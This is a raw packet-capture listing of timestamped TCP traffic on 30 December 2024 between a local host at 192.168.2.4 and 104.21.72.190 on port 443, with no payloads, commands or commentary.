Dec 30, 2024 09:18:08.516278028 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.516315937 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.516315937 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.517641068 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.517677069 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.517712116 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.517719030 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.517746925 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.517760038 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.517821074 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.517828941 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518035889 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518131018 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518168926 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.518171072 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518188953 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518240929 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.518341064 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.518424034 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518455029 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518490076 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.518495083 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518520117 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.518595934 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518634081 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518671036 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.518676996 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518702984 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.518719912 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.518845081 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.518857002 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.519191980 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.547235012 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.547290087 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.547336102 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.547348976 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.547363043 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.592802048 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.592870951 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.592907906 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.592931986 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.592966080 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.597352982 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.597404003 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.597443104 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.597465038 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.597485065 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.597553968 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.597598076 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.597620010 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.597626925 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.597645044 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.600492954 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.600589037 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.600598097 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.600769043 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.600802898 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.600842953 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.600848913 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.600929976 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.602207899 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602224112 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602350950 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.602353096 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602365971 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602421999 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.602444887 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.602451086 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602660894 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602700949 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602718115 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602730036 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.602735996 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602758884 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602771044 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.602782011 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.602837086 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.602875948 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602906942 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602946997 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.602953911 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.602988005 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.603105068 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.603112936 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.603179932 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.603351116 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.603358984 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.603924990 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.631505966 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.631613016 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.677145004 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.677196980 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.677234888 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.677259922 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.677279949 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.677284956 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.677380085 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.677397013 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.677594900 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.681963921 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.682018995 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.682048082 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.682050943 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.682061911 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.682085991 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.682121992 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.684921980 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.685034037 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.685045004 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.685245037 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.685277939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.685309887 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.685318947 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.685343981 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.685498953 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.686774015 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.686810017 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.686856031 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.686863899 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.686897039 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.686986923 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687048912 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687067032 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.687083960 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687110901 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.687191963 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687222958 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687273979 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.687282085 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687294006 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687309027 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.687333107 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.687340021 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687354088 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687370062 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.687408924 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.687413931 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687549114 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687580109 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687618017 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.687624931 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.687650919 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.715989113 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.716018915 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.716175079 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.716175079 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.716192007 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.719412088 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.761810064 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.761864901 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.761894941 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.761904955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.761939049 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.761992931 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.767105103 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.767144918 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.767178059 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.767185926 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.767200947 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.769232035 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.769344091 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.769351006 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.769479990 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.769520044 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.769551992 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.769556999 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.769566059 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.769584894 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.769584894 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.769614935 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.770960093 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.771028042 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.771048069 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.771054983 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.771106005 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.771106005 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.771332026 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.771368980 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.771400928 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.771416903 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.771416903 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.771424055 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.771449089 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.771501064 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.771533012 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.771545887 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.771555901 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.771576881 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.771603107 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.771667957 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.771778107 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.772140980 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.772181034 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.772217035 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.772229910 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.772253036 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.773871899 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.800487995 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.800523996 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.800558090 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.800568104 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.800594091 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.846311092 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.846354961 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.846390009 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.846402884 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.846430063 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.851526976 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.851542950 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.851665974 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.851665974 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.851685047 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.853899956 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.853914022 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.853991985 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.853992939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.853992939 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.854008913 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.854038000 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.854064941 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.854074001 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.855447054 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.855493069 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.855536938 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.855550051 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.855581999 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.855731010 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.855755091 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.855787039 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.855794907 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.855817080 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.855897903 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.856020927 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.856053114 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.856084108 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.856086969 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.856092930 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.856115103 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.856117010 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.856126070 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.856199026 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.856205940 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.856364012 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.856373072 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.856381893 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.856411934 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.856441021 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.856462002 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.856492043 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.856501102 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.856533051 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.884830952 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.884862900 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.884897947 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.884922981 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.884953022 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.885355949 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.930814028 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.930933952 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.930970907 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.930975914 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.930991888 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.931005001 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.931045055 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.935802937 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.935883045 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.935892105 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.935966015 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.936002016 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.936007977 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.936034918 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.936059952 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.936243057 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.936249971 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.938211918 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.938280106 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.938318014 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.938333988 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.938366890 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.938366890 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.938402891 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.938405037 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.938417912 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.938431978 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.938467979 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.938467979 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.939924955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.939976931 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940020084 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.940027952 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940124035 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940239906 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940277100 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.940284014 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940301895 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940320969 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.940377951 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.940377951 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.940386057 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940535069 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940576077 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940591097 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940608025 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.940617085 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940638065 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.940638065 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.940743923 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940782070 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940814018 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.940828085 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.940851927 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.940907001 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.941004992 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.941020012 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.941103935 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.969492912 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.969564915 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.969611883 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.969624043 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.969638109 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.969671011 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.015474081 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.015492916 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.015619993 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.015633106 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.015805960 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.020576954 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.020622015 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.020668030 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.020677090 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.020711899 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.022926092 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.022942066 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.022975922 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.023008108 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.023017883 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.023036957 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.023303032 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.023323059 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.023746014 CET	49730	443	192.168.2.4	104.21.72.190
